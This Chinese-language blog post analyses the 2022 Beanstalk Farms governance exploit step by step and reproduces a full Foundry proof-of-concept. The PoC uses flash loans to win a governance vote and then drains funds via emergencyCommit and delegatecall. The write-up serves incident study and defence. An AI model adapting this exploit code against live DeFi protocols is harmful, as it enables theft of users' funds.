Beanstalk Farms 提案攻击

  • Archime
  • 更新于 2022-11-06 22:01
  • 阅读 4058

Beanstalk Farms 提案攻击

1. 相关地址

攻击交易 0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7

攻击者地址 0x1c5dcdd006ea78a7e4783f9e6021c32935a10fb4

攻击合约 0x79224bC0bf70EC34F0ef56ed8251619499a59dEf

被攻击合约 0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5

GovernanceFacet合约: 0xf480ee81a54e21be47aa02d0f9e29985bc7667c4

SiloFacet合约: 0x448d330affa0ad31264c2e6a7b5d2bf579608065

2. 攻击前分析

攻击者是通过交易0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7实现攻击的,从交易过程可以分析出攻击者地址为0x1c5dcdd006ea78a7e4783f9e6021c32935a10fb4,通过交易浏览器查看其在正式攻击前做了哪些准备:

1.png 攻击前的准备 第一步:攻击者通过交易0xfdd9acbc3fae083d572a2b178c8ca74a63915841a8af572a10d0055dbe91d219使用73个WETH兑换出212,858个BEAN代币。

2.png 而最初的73WETH是通过Synapse: Bridge 获得的。

3.png 第二、三步: 通过调用approve、depositBeans函数在交易0xf5a698984485d01e09744e8d7b8ca15cd29aa430a0137349c8c9e19e60c0bb9d中将212,858个BEAN转移至Beanstalk: Beanstalk Protocol

4.png 第四步: 生成合约0x259a2795624B8a17bC7EB312a94504Ad0F615D1E,根据名字InitBip18 可知这是一份提案合约,并且合约已开源,其中指定几个地址

5.png 第五、六步: 攻击者通过propose函数进行提案,查看提案了两个合约,地址分别为0x259a2795624b8a17bc7eb312a94504ad0f615d1e、0xe5ecf73603d98a0128f05ed30506ac7a663dbb69,分别为创建的提案合约InitBip18以及提案合约中的地址。注意参数_calldata为e1c7392a,这是之后delegatecall 所调用的init函数。

6.png

7.png 在propose中会存储提案合约地址、待调用的方法等数据

8.png

9.png 第七步: 攻击者给合约0xe5ecf73603d98a0128f05ed30506ac7a663dbb69 转移0.25 Ether。 至此,所有准备工作已完成,只需静待1天。

3. 攻击过程

在准备工作完成一天后,攻击者正式实施攻击,交易为0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7。

  1. 攻击合约先创建合约Beanstalk Flashloan Contract,调用各代币合约的approve函数,为之后的代币转移做准备

10.png

  1. 攻击合约通过LendingPool闪电贷获得350,000,000个DAI、500,000,000 USDC、150,000,000 USDT,再通过UNI-V2贷款32,100,950.626687个BEAN,通过LUSD贷款获得11,643,065.7034个LUSD

11.png

  1. 将借贷获得的350,000,000个DAI、500,000,000 USDC、150,000,000 USDT添加到Curve.fi: DAI/USDC/USDT Pool中获得流动性代币3Crv共979,691,328.662个:

12.png

  1. 攻击合约再次用15,000,000个3Crv兑换15,251,318.1192个LUSD代币,此时攻击合约的3Crv代币数量为964,691,328.662个

13.png

  1. 攻击者再次在合约BEAN3CRV-f中添加964,691,328.662个3Crv,获得流动性代币BEAN3CRV-f共795,425,740.81个

14.png

  1. 攻击合约在合约BEANLUSD-f中添加32,100,950.62668 BEAN、26,894,383.822 LUSD代币,获得流动性代币BEANLUSD-f共58,924,887.872个:

15.png

  1. 攻击合约存入795,425,740.8138 个BEAN3CRV-f、58,924,887.87个BEANLUSD-f,再调用GovernanceFacet的vote函数进行投票,注意bip的值正是18,是之前所提交的提案。因为存入大量的投票权代币,所以该提案得以通过。之后攻击合约又调用了emergencyCommit函数执行18号提案的代码。

16.png 根据函数调用关系:emergencyCommit > _execute > cutBip > diamondCut > initializeDiamondCut,在initializeDiamondCut中使用delegatecall,这使得msg.sender为GovernanceFacet合约,所以可以转移资金。 在cutBip中获取指定的18号提案的数据:

17.png

18.png

  1. 攻击合约获利获得了36,084,584 BEAN,0.5407 UNI-V2,874,663,982 NEAN3CRV-f、60,562,844 BEANLUSD-f、100 BEAN,之后移除流动性BEAN3CRV-f、BEANLUSD-f

19.png

  1. 之后执行偿还闪电贷等操作,离场

20.png

4. 漏洞原因

本质上是合约未考虑攻击者可通过闪电贷获得大量投票权而导致而提案被通过,且执行提案合约时使用delegatecall,使得恶意代码以合约身份执行。因为闪电贷必须在一笔交易中完成,因此可通过强制投票通过后的几个区块时间才可执行提案。

5. 漏洞复现

复现代码来源见:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Beanstalk_exp.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is DSTest {
  CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
  ILendingPool aavelendingPool =
    ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
  IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
  IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
  IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
  IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
  IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
  IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
  IUniswapV2Router uniswapv2 =
    IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
  ICurvePool threeCrvPool =
    ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
  ICurvePool bean3Crv_f =
    ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
  IBeanStalk siloV2Facet =
    IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
  IBeanStalk beanstalkgov =
    IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
  address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69;
  uint32 bip = 18;

  constructor() {
    cheat.createSelectFork("mainnet", 14595905); // fork mainnet at block 14595905
  }

  function testExploit() public {
    address[] memory path = new address[](2);
    path[0] = uniswapv2.WETH();
    path[1] = address(bean);
    uniswapv2.swapExactETHForTokens{ value: 75 ether }(
      0,
      path,
      address(this),
      block.timestamp + 120
    );
    emit log_named_uint(
      "Initial USDC balancer of attacker",
      usdc.balanceOf(address(this))
    );

    emit log_named_uint(
      "After initial ETH -> BEAN swap, Bean balance of attacker:",
      bean.balanceOf(address(this)) / 1e6
    );
    siloV2Facet.depositBeans(bean.balanceOf(address(this)));
    emit log_named_uint(
      "After BEAN deposit to SiloV2Facet, Bean balance of attacker:",
      bean.balanceOf(address(this)) / 1e6
    );
    IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0);
    bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector);
    //emit log_named_uint("BIP:", bip);
    // function propose(
    //     IDiamondCut.FacetCut[] calldata _diamondCut,
    //     address _init,
    //     bytes calldata _calldata,
    //     uint8 _pauseOrUnpause
    // )
    // https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
    beanstalkgov.propose(_diamondCut, address(this), data, 3);

    cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future

    dai.approve(address(aavelendingPool), type(uint256).max);
    usdc.approve(address(aavelendingPool), type(uint256).max);
    TransferHelper.safeApprove(
      address(usdt),
      address(aavelendingPool),
      type(uint256).max
    );
    bean.approve(address(aavelendingPool), type(uint256).max);
    dai.approve(address(threeCrvPool), type(uint256).max);
    usdc.approve(address(threeCrvPool), type(uint256).max);
    TransferHelper.safeApprove(
      address(usdt),
      address(threeCrvPool),
      type(uint256).max
    );
    bean.approve(address(siloV2Facet), type(uint256).max);
    threeCrv.approve(address(bean3Crv_f), type(uint256).max);
    IERC20(address(bean3Crv_f)).approve(
      address(siloV2Facet),
      type(uint256).max
    );

    address[] memory assets = new address[](3);
    assets[0] = address(dai);
    assets[1] = address(usdc);
    assets[2] = address(usdt);

    uint256[] memory amounts = new uint256[](3);
    amounts[0] = 350_000_000 * 10**dai.decimals();
    amounts[1] = 500_000_000 * 10**usdc.decimals();
    amounts[2] = 150_000_000 * 10**usdt.decimals();

    uint256[] memory modes = new uint256[](3);
    aavelendingPool.flashLoan(
      address(this),
      assets,
      amounts,
      modes,
      address(this),
      new bytes(0),
      0
    );
    usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
  }

  function executeOperation(
    address[] calldata assets,
    uint256[] calldata amounts,
    uint256[] calldata premiums,
    address initiator,
    bytes calldata params
  ) external returns (bool) {
    emit log_named_uint(
      "After deposit, Bean balance of attacker:",
      bean.balanceOf(address(this)) / 1e6
    ); // @note redundant log
    uint256[3] memory tempAmounts;
    tempAmounts[0] = amounts[0];
    tempAmounts[1] = amounts[1];
    tempAmounts[2] = amounts[2];
    threeCrvPool.add_liquidity(tempAmounts, 0);
    uint256[2] memory tempAmounts2;
    tempAmounts2[0] = 0;
    tempAmounts2[1] = threeCrv.balanceOf(address(this));
    bean3Crv_f.add_liquidity(tempAmounts2, 0);
    emit log_named_uint(
      "After adding 3crv liquidity , bean3Crv_f balance of attacker:",
      crvbean.balanceOf(address(this))
    );
    emit log_named_uint(
      "After  , Curvebean3Crv_f balance of attacker:",
      IERC20(address(bean3Crv_f)).balanceOf(address(this))
    ); //@note logging balance for same token ?
    siloV2Facet.deposit(
      address(bean3Crv_f),
      IERC20(address(bean3Crv_f)).balanceOf(address(this))
    );
    //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip
    beanstalkgov.emergencyCommit(bip);
    emit log_named_uint(
      "After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:",
      crvbean.balanceOf(address(this))
    );
    bean3Crv_f.remove_liquidity_one_coin(
      IERC20(address(bean3Crv_f)).balanceOf(address(this)),
      1,
      0
    );
    emit log_named_uint(
      "After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:",
      crvbean.balanceOf(address(this))
    );
    tempAmounts[0] = amounts[0] + premiums[0];
    tempAmounts[1] = amounts[1] + premiums[1];
    tempAmounts[2] = amounts[2] + premiums[2];
    emit log_named_uint("premiums[0]:", premiums[0]);
    emit log_named_uint("premiums[1]:", premiums[1]);
    emit log_named_uint("premiums[2]:", premiums[2]);
    emit log_named_uint("tempAmounts[0]:", tempAmounts[0]);
    emit log_named_uint("tempAmounts[1]:", tempAmounts[1]);
    emit log_named_uint("tempAmounts[2]:", tempAmounts[2]);

    threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);
    threeCrvPool.remove_liquidity_one_coin(
      threeCrv.balanceOf(address(this)),
      1,
      0
    );

    emit log_named_uint(
      "After removing 3crv liquidity from 3crv pool, usdc balance of attacker:",
      usdc.balanceOf(address(this))
    );

    return true;
  }

  function sweep() external {
    IERC20 erc20bean3Crv_f = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
    erc20bean3Crv_f.transfer(
      msg.sender,
      erc20bean3Crv_f.balanceOf(address(this))
    ); //Just for verification, so keep other tokens
  }
}
点赞 0
收藏 0
分享

0 条评论

请先 登录 后评论
Archime
Archime
0x96C4...508C
江湖只有他的大名,没有他的介绍。